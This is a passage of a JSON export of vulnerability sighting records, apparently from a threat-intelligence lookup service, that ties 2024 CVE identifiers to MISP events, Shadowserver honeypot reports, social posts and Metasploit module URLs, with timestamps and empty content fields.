"seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:30:59.000000Z"}, {"uuid": "69294d65-c221-498a-8095-c2307f7f65a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "df70958d-9216-442b-9fc4-c732aab4de1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "e612e600-2175-4daf-91a6-260b50776281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-20)", "content": "", "creation_timestamp": "2025-10-20T00:00:00.000000Z"}, {"uuid": "23d2971a-321c-4746-8531-83c9028e4ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115349687488265913", "content": "", "creation_timestamp": "2025-10-10T11:42:30.257673Z"}, {"uuid": "f8258447-eb92-4059-859a-bec3255809d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "c6c7ccec-7916-4562-92d0-32b73ccab0e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/mytreya-rh/da4aef61a7ab8816fa11198f9b064846", "content": "", "creation_timestamp": "2025-11-13T12:36:23.000000Z"}, {"uuid": "a8c76f0c-bf63-4eaa-ad86-ba71d97b91f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:36.000000Z"}, {"uuid": "a70f4fb2-67cc-42c5-a073-2407df9874fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "d937d573-c486-4b2b-9fb5-3c9bababb289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:36.000000Z"}, {"uuid": "a515970c-1e6d-4daf-88fa-4f3ce019ca4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-30)", "content": "", "creation_timestamp": "2025-10-30T00:00:00.000000Z"}, {"uuid": "298fc0a7-1de5-4cef-b7f9-4028251b1ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-05)", "content": "", "creation_timestamp": "2025-11-05T00:00:00.000000Z"}, {"uuid": "41712591-dffa-4fd6-8533-cad975cbcc05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "24b267e6-476e-4945-a1dd-f7d016313920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "ea91f75c-d2d9-44b4-a50b-0e67048b7c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "a8ae643d-21d5-4007-89c2-0eeb3c0489bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "89a0606a-61db-44c1-9a3b-3c710ba56396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "89564a3f-88ed-4d25-bfde-f114b86fa0b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-22)", "content": "", "creation_timestamp": "2025-09-22T00:00:00.000000Z"}, {"uuid": "62dc9e27-dc80-4235-96e8-06fd74a2bac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://threatintel.cc/2025/10/10/rondodox-botnet-targets-nday-flaws.html", "content": "", "creation_timestamp": "2025-10-10T09:42:20.000000Z"}, {"uuid": "c49e9671-542d-41c3-9fc5-879999b62a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "c63c1bef-9ef5-490f-a8e8-0737a3f4b989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "5b986362-ba30-4c95-9432-05dac5282524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "58543641-f0de-47c1-846e-a73254ab3b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:35.000000Z"}, {"uuid": "2c662f89-ccc4-48e5-8a48-cab21c066727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-04)", "content": "", "creation_timestamp": "2025-10-04T00:00:00.000000Z"}, {"uuid": "8526fe66-7a1a-44e8-b658-8ba72db03172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/cd1zz/aa95fc8e06911decc6ab4a72f4c26c2f", "content": "", "creation_timestamp": "2025-09-11T14:10:40.000000Z"}, {"uuid": "b24284fd-36d3-48aa-8818-994fa8a15688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/Darkcrai86/fa0739ddcf27cecc82d4966f4e19ff1f", "content": "", "creation_timestamp": "2025-09-11T14:49:57.000000Z"}, {"uuid": "17bd8211-3bd8-4a65-b2ff-99d883a94609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-7d94594b-ae20c1dc5483d2a2", "content": "", "creation_timestamp": "2025-10-11T06:19:00.558913Z"}, {"uuid": "cd3277ee-a949-4f3e-9a7c-86d7c32e01b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12368", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:23.000000Z"}, {"uuid": "cf16e584-2bf5-4ccf-8362-64edbe14e337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "b5a53752-fe0e-4eb3-88ba-ad861f72b35d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "7bc416cb-ae0f-44f8-8b59-41594c537a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/mjervis-mo/a8bcddf5b94155ee1cdfc53b873a0408", "content": "", "creation_timestamp": "2025-09-09T09:41:23.000000Z"}, {"uuid": "e862999f-e208-4450-9bfd-488b1214c1b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-22)", "content": "", "creation_timestamp": "2025-08-22T00:00:00.000000Z"}, {"uuid": "d1ed24ef-0d82-43e1-a73a-2cc977465a5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-02)", "content": "", "creation_timestamp": "2025-11-02T00:00:00.000000Z"}, {"uuid": "af7404d4-9ea8-4a24-b73a-ec89d9b198d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:00.000000Z"}, {"uuid": "ee2c4c9e-518a-4951-8671-0b0f262552ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "07942055-74cb-4e36-a51c-826a7d9a84f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-23)", "content": "", "creation_timestamp": "2025-08-23T00:00:00.000000Z"}, {"uuid": "f2855792-79df-4907-a932-8f882a9d47e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-07)", "content": "", "creation_timestamp": "2025-10-07T00:00:00.000000Z"}, {"uuid": "340dc134-9526-48ee-8b43-2bad3766c4fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "50f1fe29-4e38-4668-b956-1627e81ad94d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "adcfda41-e6d8-44b4-9687-c860104994bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:01.000000Z"}, {"uuid": "9ec3098b-90c9-40a7-8780-c911d60c36d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "6cb9eb22-19a6-43d3-b2e2-3d2e250aeeeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:02.000000Z"}, {"uuid": "194a8d8c-ddab-48a6-ac14-e8f518ea0e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:05.000000Z"}, {"uuid": "cbfb8fda-5180-4961-9efe-38d9ffa1320a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:05.000000Z"}, {"uuid": "4016332a-8591-4049-b78d-aee78afe708a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-24)", "content": "", "creation_timestamp": "2025-10-24T00:00:00.000000Z"}, {"uuid": "03669567-5fca-4fe9-a3d7-defd8ddf8eca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://gist.github.com/Vizonex/8242da16ed2d6a48b7acb812fee88957", "content": "", "creation_timestamp": "2025-09-11T23:45:45.000000Z"}, {"uuid": "138c6d0a-53e9-405e-96e1-aa9c91fb2c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb", "content": "", "creation_timestamp": "2024-05-10T14:47:57.000000Z"}, {"uuid": "81925157-e7be-4485-9307-9a861bac2b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-17)", "content": "", "creation_timestamp": "2025-10-17T00:00:00.000000Z"}, {"uuid": "bbb22eb9-cf2e-4093-aeb9-ead2c23614bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "57753efd-2d3a-4284-9b90-9d9762171712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12224", "type": "seen", "source": "https://gist.github.com/keohanoi/e94348e5545a30f4a6bc3febfc24df4f", "content": "", "creation_timestamp": "2025-09-12T03:04:47.000000Z"}, {"uuid": "1c3e2251-c8dd-413a-8943-89a7c1f93530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb", "content": "", "creation_timestamp": "2024-04-26T23:37:25.000000Z"}, {"uuid": "b25ab694-065b-4293-be76-dbc08bd62129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "f58466d4-896f-49f5-ac95-11cd3a9c35dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12276", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "59f92166-0aea-4103-a6be-25406184b8ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "f66e6612-6cfc-4bd9-b312-7ef30369c583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3m5hfe6lk7x2s", "content": "", "creation_timestamp": "2025-11-12T19:32:48.659943Z"}, {"uuid": "471868ef-2c34-4dc6-93da-76223c5a7b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "4088db36-ad42-4b36-83f6-244184899727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-14)", "content": "", "creation_timestamp": "2025-11-14T00:00:00.000000Z"}, {"uuid": "2fd470e3-f4ad-494f-b61a-b529d1f9e3d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "3119846b-2fdf-4134-9233-5f950a2e486d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb", "content": "", "creation_timestamp": "2025-02-17T16:51:25.000000Z"}, {"uuid": "815be44c-d681-4620-b5d4-af200aff76c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-18)", "content": "", "creation_timestamp": "2025-09-18T00:00:00.000000Z"}, {"uuid": "e0543a1d-38e9-4145-a102-d23907b53b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12367", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lyx2rw5qwx2o", "content": "", "creation_timestamp": "2025-09-16T10:00:15.823587Z"}, {"uuid": "06663b44-4129-4759-a7ee-56e15cef9332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "851ea02c-d7fb-48e0-8b60-8cdb5f79cf57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:43.000000Z"}, {"uuid": "6d9bbfa9-e1bd-4959-951e-db7316e5e674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:43.000000Z"}, {"uuid": "c259dd2f-3f5e-47d5-9173-a504f867336d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "04c0fc95-4fcc-4fab-bbdb-ce9b87102a77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "MISP/db121278-a8f5-4f36-a226-e45f3a86f55e", "content": "", "creation_timestamp": "2025-08-26T13:26:34.000000Z"}, {"uuid": "6babfbee-7df4-46c4-b981-c36c05b072cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-23)", "content": "", "creation_timestamp": "2025-11-23T00:00:00.000000Z"}, {"uuid": "1b9483dc-5ab7-4fc3-b698-ca60a3a72228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://gist.github.com/Darkcrai86/17ffa17adb1c534e67334391fb5b1252", "content": "", "creation_timestamp": "2025-08-27T07:04:46.000000Z"}, {"uuid": "dd5e68a8-71e4-43ae-aa74-10d86351a7d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-30)", "content": "", "creation_timestamp": "2025-09-30T00:00:00.000000Z"}, {"uuid": "90a71859-616c-49ad-9f32-0024190ac71f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb", "content": "", "creation_timestamp": "2025-02-18T13:08:28.000000Z"}, {"uuid": "0f7597dd-1211-4e7b-9ab7-9f5e1833de9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://gist.github.com/Darkcrai86/a029fbc8652f34f91701b1d58243e483", "content": "", "creation_timestamp": "2025-08-28T17:01:38.000000Z"}, {"uuid": "89d7913d-1a2b-426d-bc2d-2ea3a10a19cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lxnhuahphd2g", "content": "", "creation_timestamp": "2025-08-30T21:02:25.916371Z"}, {"uuid": "639391c4-1a52-4bd9-959b-7724cfc5132b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "ee905dee-869b-4bd5-a9f9-8fd558f7960d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "MISP/3f43d0af-77bb-43b4-8f1a-89c6cbf90ef1", "content": "", "creation_timestamp": "2025-08-30T22:08:16.000000Z"}, {"uuid": "12b5f42d-ca70-4f44-8bce-727ae4fdf8d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": 